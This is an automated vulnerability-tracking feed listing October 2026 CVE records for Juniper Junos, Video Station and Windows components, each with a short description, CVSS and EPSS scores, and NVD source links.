A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated configured MSDP peer or adjacent PIM sender to cause a denial of service via an MSDP or PIM policy that uses AS-path expansion.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote BGP peer to cause a denial of...
https://kevwire.com/record/CVE-2026-102028
A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote BGP peer to cause a denial of... (Oct 14, 2026).
A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote BGP peer to cause a denial of service when multiple UPDATEs occur over a single TCP session with 'bgp family l2vpn auto-discovery-only' configured.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102028).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102028&date=2026-10-25).
Sources:
NVD CVE-2026-102028: https://nvd.nist.gov/vuln/detail/CVE-2026-102028
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102028&date=2026-10-25
A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote BGP peer to cause a denial of service when multiple UPDATEs occur over a single TCP session with 'bgp family l2vpn auto-discovery-only' configured.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Incorrect Calculation of Buffer Size vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured eBGP neighbor to...
https://kevwire.com/record/CVE-2026-102027
An Incorrect Calculation of Buffer Size vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured eBGP neighbor to... (Oct 14, 2026).
An Incorrect Calculation of Buffer Size vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured eBGP neighbor to cause an rpd crash via BGP labeled-unicast UPDATEs when the affected multipath features are enabled.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102027).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102027&date=2026-10-25).
Sources:
NVD CVE-2026-102027: https://nvd.nist.gov/vuln/detail/CVE-2026-102027
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102027&date=2026-10-25
An Incorrect Calculation of Buffer Size vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured eBGP neighbor to cause an rpd crash via BGP labeled-unicast UPDATEs when the affected multipath features are enabled.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Control of a Resource Through its Lifetime vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent eBGP...
https://kevwire.com/record/CVE-2026-102026
An Improper Control of a Resource Through its Lifetime vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent eBGP... (Oct 14, 2026).
An Improper Control of a Resource Through its Lifetime vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent eBGP peer to cause a routing-daemon crash via a BGP route update when RIB sharding is enabled.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102026).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102026&date=2026-10-25).
Sources:
NVD CVE-2026-102026: https://nvd.nist.gov/vuln/detail/CVE-2026-102026
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102026&date=2026-10-25
An Improper Control of a Resource Through its Lifetime vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent eBGP peer to cause a routing-daemon crash via a BGP route update when RIB sharding is enabled.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Mismatched Memory Management Routines vulnerability in the routing protocol daemon (rpd) process of Juniper Networks Junos OS and Junos OS Evolved allows an authenticated...
https://kevwire.com/record/CVE-2026-102025
A Mismatched Memory Management Routines vulnerability in the routing protocol daemon (rpd) process of Juniper Networks Junos OS and Junos OS Evolved allows an authenticated... (Oct 14, 2026).
A Mismatched Memory Management Routines vulnerability in the routing protocol daemon (rpd) process of Juniper Networks Junos OS and Junos OS Evolved allows an authenticated network-based attacker to cause a denial of service via a BGP route update when extended next-hop tunneling and SRv6 service processing are used.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102025).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102025&date=2026-10-25).
Sources:
NVD CVE-2026-102025: https://nvd.nist.gov/vuln/detail/CVE-2026-102025
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102025&date=2026-10-25
A Mismatched Memory Management Routines vulnerability in the routing protocol daemon (rpd) process of Juniper Networks Junos OS and Junos OS Evolved allows an authenticated network-based attacker to cause a denial of service via a BGP route update when extended next-hop tunneling and SRv6 service processing are used.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Integer Overflow or Wraparound vulnerability in the routing daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an authenticated BGP peer to cause a denial of...
https://kevwire.com/record/CVE-2026-102024
An Integer Overflow or Wraparound vulnerability in the routing daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an authenticated BGP peer to cause a denial of... (Oct 14, 2026).
An Integer Overflow or Wraparound vulnerability in the routing daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an authenticated BGP peer to cause a denial of service via BGP route updates when extended-nexthop-tunnel is enabled.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102024).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102024&date=2026-10-25).
Sources:
NVD CVE-2026-102024: https://nvd.nist.gov/vuln/detail/CVE-2026-102024
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102024&date=2026-10-25
An Integer Overflow or Wraparound vulnerability in the routing daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an authenticated BGP peer to cause a denial of service via BGP route updates when extended-nexthop-tunnel is enabled.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Reachable Assertion vulnerability in fwstatsd of Juniper Networks Junos OS Evolved allows an authenticated network attacker to cause a denial of service via an SNMP...
https://kevwire.com/record/CVE-2026-102023
A Reachable Assertion vulnerability in fwstatsd of Juniper Networks Junos OS Evolved allows an authenticated network attacker to cause a denial of service via an SNMP... (Oct 14, 2026).
A Reachable Assertion vulnerability in fwstatsd of Juniper Networks Junos OS Evolved allows an authenticated network attacker to cause a denial of service via an SNMP firewall-counter MIB query when at least one firewall counter is configured.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102023).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102023&date=2026-10-25).
Sources:
NVD CVE-2026-102023: https://nvd.nist.gov/vuln/detail/CVE-2026-102023
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102023&date=2026-10-25
A Reachable Assertion vulnerability in fwstatsd of Juniper Networks Junos OS Evolved allows an authenticated network attacker to cause a denial of service via an SNMP firewall-counter MIB query when at least one firewall counter is configured.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured BGP-LS...
https://kevwire.com/record/CVE-2026-102022
A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured BGP-LS... (Oct 14, 2026).
A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured BGP-LS peer to cause an rpd crash via a crafted BGP-LS Link NLRI advertisements.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102022).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102022&date=2026-10-25).
Sources:
NVD CVE-2026-102022: https://nvd.nist.gov/vuln/detail/CVE-2026-102022
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102022&date=2026-10-25
A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured BGP-LS peer to cause an rpd crash via a crafted BGP-LS Link NLRI advertisements.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an authenticated network-based attacker to cause a denial of...
https://kevwire.com/record/CVE-2026-102020
A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an authenticated network-based attacker to cause a denial of... (Oct 14, 2026).
A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an authenticated network-based attacker to cause a denial of service via BGP-LS routing updates.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102020).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102020&date=2026-10-25).
Sources:
NVD CVE-2026-102020: https://nvd.nist.gov/vuln/detail/CVE-2026-102020
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102020&date=2026-10-25
A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an authenticated network-based attacker to cause a denial of service via BGP-LS routing updates.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A SQL injection vulnerability has been reported to affect Video Station.
https://kevwire.com/record/CVE-2026-26244
A SQL injection vulnerability has been reported to affect Video Station. (Oct 15, 2026).
A SQL injection vulnerability has been reported to affect Video Station. If a remote attacker gains a user account, they can then exploit the vulnerability to execute unauthorized code or commands.

We have already fixed the vulnerability in the following version:
Video Station 5.8.8 and later
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-26244).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-26244&date=2026-10-25).
Sources:
NVD CVE-2026-26244: https://nvd.nist.gov/vuln/detail/CVE-2026-26244
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-26244&date=2026-10-25
A SQL injection vulnerability has been reported to affect Video Station. If a remote attacker gains a user account, they can then exploit the vulnerability to execute unauthorized code or commands.

We have already fixed the vulnerability in the following version:
Video Station 5.8.8 and later

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A SQL injection vulnerability has been reported to affect Video Station.
https://kevwire.com/record/CVE-2026-26245
A SQL injection vulnerability has been reported to affect Video Station. (Oct 15, 2026).
A SQL injection vulnerability has been reported to affect Video Station. If a remote attacker gains a user account, they can then exploit the vulnerability to execute unauthorized code or commands.

We have already fixed the vulnerability in the following version:
Video Station 5.8.8 and later
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-26245).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-26245&date=2026-10-25).
Sources:
NVD CVE-2026-26245: https://nvd.nist.gov/vuln/detail/CVE-2026-26245
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-26245&date=2026-10-25
A SQL injection vulnerability has been reported to affect Video Station. If a remote attacker gains a user account, they can then exploit the vulnerability to execute unauthorized code or commands.

We have already fixed the vulnerability in the following version:
Video Station 5.8.8 and later

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A path traversal vulnerability has been reported to affect Video Station.
https://kevwire.com/record/CVE-2026-34015
A path traversal vulnerability has been reported to affect Video Station. (Oct 15, 2026).
A path traversal vulnerability has been reported to affect Video Station. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.

We have already fixed the vulnerability in the following version:
Video Station 5.8.8 and later
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34015).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-34015&date=2026-10-25).
Sources:
NVD CVE-2026-34015: https://nvd.nist.gov/vuln/detail/CVE-2026-34015
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-34015&date=2026-10-25
A path traversal vulnerability has been reported to affect Video Station. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.

We have already fixed the vulnerability in the following version:
Video Station 5.8.8 and later

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An authorization bypass through user-controlled key vulnerability has been reported to affect Video Station.
https://kevwire.com/record/CVE-2026-44084
An authorization bypass through user-controlled key vulnerability has been reported to affect Video Station. (Oct 15, 2026).
An authorization bypass through user-controlled key vulnerability has been reported to affect Video Station. If exploited, the vulnerability could allow remote attackers to obtain sensitive data.

We have already fixed the vulnerability in the following version:
Video Station 5.8.8 and later
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44084).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-44084&date=2026-10-25).
Sources:
NVD CVE-2026-44084: https://nvd.nist.gov/vuln/detail/CVE-2026-44084
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-44084&date=2026-10-25
An authorization bypass through user-controlled key vulnerability has been reported to affect Video Station. If exploited, the vulnerability could allow remote attackers to obtain sensitive data.

We have already fixed the vulnerability in the following version:
Video Station 5.8.8 and later

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Internal System User Profile allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96244
Use after free in Windows Internal System User Profile allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Internal System User Profile allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96244).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96244&date=2026-10-25).
Sources:
NVD CVE-2026-96244: https://nvd.nist.gov/vuln/detail/CVE-2026-96244
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96244
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96244&date=2026-10-25
Use after free in Windows Internal System User Profile allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper control of generation of code ('code injection') in Windows Assigned Access allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96220
Improper control of generation of code ('code injection') in Windows Assigned Access allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper control of generation of code ('code injection') in Windows Assigned Access allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96220).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96220&date=2026-10-25).
Sources:
NVD CVE-2026-96220: https://nvd.nist.gov/vuln/detail/CVE-2026-96220
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96220
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96220&date=2026-10-25
Improper control of generation of code ('code injection') in Windows Assigned Access allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Hyper-V allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96223
Use after free in Windows Hyper-V allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Hyper-V allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96223).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96223&date=2026-10-25).
Sources:
NVD CVE-2026-96223: https://nvd.nist.gov/vuln/detail/CVE-2026-96223
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96223
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96223&date=2026-10-25
Use after free in Windows Hyper-V allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted pointer dereference in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96933
Untrusted pointer dereference in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Untrusted pointer dereference in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96933).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96933&date=2026-10-25).
Sources:
NVD CVE-2026-96933: https://nvd.nist.gov/vuln/detail/CVE-2026-96933
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96933
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96933&date=2026-10-25
Untrusted pointer dereference in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Embedded Mode Service allows an authorized attacker to elevate privileges...
https://kevwire.com/record/CVE-2026-96932
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Embedded Mode Service allows an authorized attacker to elevate privileges... (Oct 13, 2026).
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Embedded Mode Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96932).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96932&date=2026-10-25).
Sources:
NVD CVE-2026-96932: https://nvd.nist.gov/vuln/detail/CVE-2026-96932
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96932
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96932&date=2026-10-25
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Embedded Mode Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted pointer dereference in Windows NTFS allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96931
Untrusted pointer dereference in Windows NTFS allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Untrusted pointer dereference in Windows NTFS allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96931).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96931&date=2026-10-25).
Sources:
NVD CVE-2026-96931: https://nvd.nist.gov/vuln/detail/CVE-2026-96931
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96931
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96931&date=2026-10-25
Untrusted pointer dereference in Windows NTFS allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96862
Out-of-bounds read in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96862).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96862&date=2026-10-25).
Sources:
NVD CVE-2026-96862: https://nvd.nist.gov/vuln/detail/CVE-2026-96862
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96862&date=2026-10-25
Out-of-bounds read in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing reference to active allocated resource in Windows SMB Server allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-96325
Missing reference to active allocated resource in Windows SMB Server allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Missing reference to active allocated resource in Windows SMB Server allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96325).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96325&date=2026-10-25).
Sources:
NVD CVE-2026-96325: https://nvd.nist.gov/vuln/detail/CVE-2026-96325
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96325
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96325&date=2026-10-25
Missing reference to active allocated resource in Windows SMB Server allows an unauthorized attacker to deny service over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96324
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96324).
